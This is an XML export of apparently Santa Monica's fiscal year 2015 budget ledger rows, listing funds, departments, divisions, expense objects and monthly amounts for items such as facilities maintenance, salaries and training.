<row _id="16503"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="16504"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="16505"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579000.0</object><object_description>COUNCIL DISCRETIONARY FUNDS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>373929.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>373929.0</total></row>
<row _id="16506"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>VACATION LUMP SUM PAYS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16507"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>VACATION LUMP SUM PAYS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16508"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16509"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2848.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2848.0</total></row>
<row _id="16510"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12500.0</total></row>
<row _id="16511"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="16515"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="16516"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522119.0</object><object_description>UTIL-ELEC-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>196052.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>196052.0</total></row>
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<row _id="16521"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1940.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1940.0</total></row>
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<row _id="16523"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544220.0</object><object_description>GRAFFITI PROGRAM MATERIALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>60000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="16524"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4400.0</total></row>
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<row _id="16528"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30100.0</total></row>
<row _id="16529"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CONT SVCS-1730 4TH ST</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>32635.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32635.0</total></row>
<row _id="16530"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10500.0</total></row>
<row _id="16531"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="16532"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8114.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8114.0</total></row>
<row _id="16533"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>69912.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>69912.0</total></row>
<row _id="16534"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>41000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41000.0</total></row>
<row _id="16535"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>552548.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>552548.0</total></row>
<row _id="16536"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8850.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8850.0</total></row>
<row _id="16537"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-4883.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4883.0</total></row>
<row _id="16538"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>15</fund_id><fund_name>Low/Mod Incme Housing Asset Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570290.0</object><object_description>TRANSFER FROM CITY</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-1200000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1200000.0</total></row>
<row _id="16539"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>426332.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>426332.0</total></row>
<row _id="16540"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6182.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6182.0</total></row>
<row _id="16541"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="16542"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>36608.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36608.0</total></row>
<row _id="16543"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555920.0</object><object_description>SANTA MONICA SWIM CENTER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>105078.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>105078.0</total></row>
<row _id="16544"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555951.0</object><object_description>FAC MAINT-KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6500.0</total></row>
<row _id="16545"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16546"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="16547"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="16548"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16549"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>413273.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>413273.0</total></row>
<row _id="16550"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>13162.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13162.0</total></row>
<row _id="16551"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-14130.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14130.0</total></row>
<row _id="16552"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1747.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1747.0</total></row>
<row _id="16553"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4292.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4292.0</total></row>
<row _id="16554"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>588030.0</object><object_description>COMPUTER EQUIPMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4800.0</total></row>
<row _id="16555"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>566555.0</object><object_description>SANTA MONICA ART WALK</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16556"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562162.0</object><object_description>JEWISH VOCATIONAL SERVICE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>52260.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52260.0</total></row>
<row _id="16557"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563128.0</object><object_description>PARATRANSIT PROGRAM-GENERAL FD</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>90914.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>90914.0</total></row>
<row _id="16558"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="16559"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544470.0</object><object_description>GROUNDS MAINT EQ &amp; SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="16560"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16561"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1668.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1668.0</total></row>
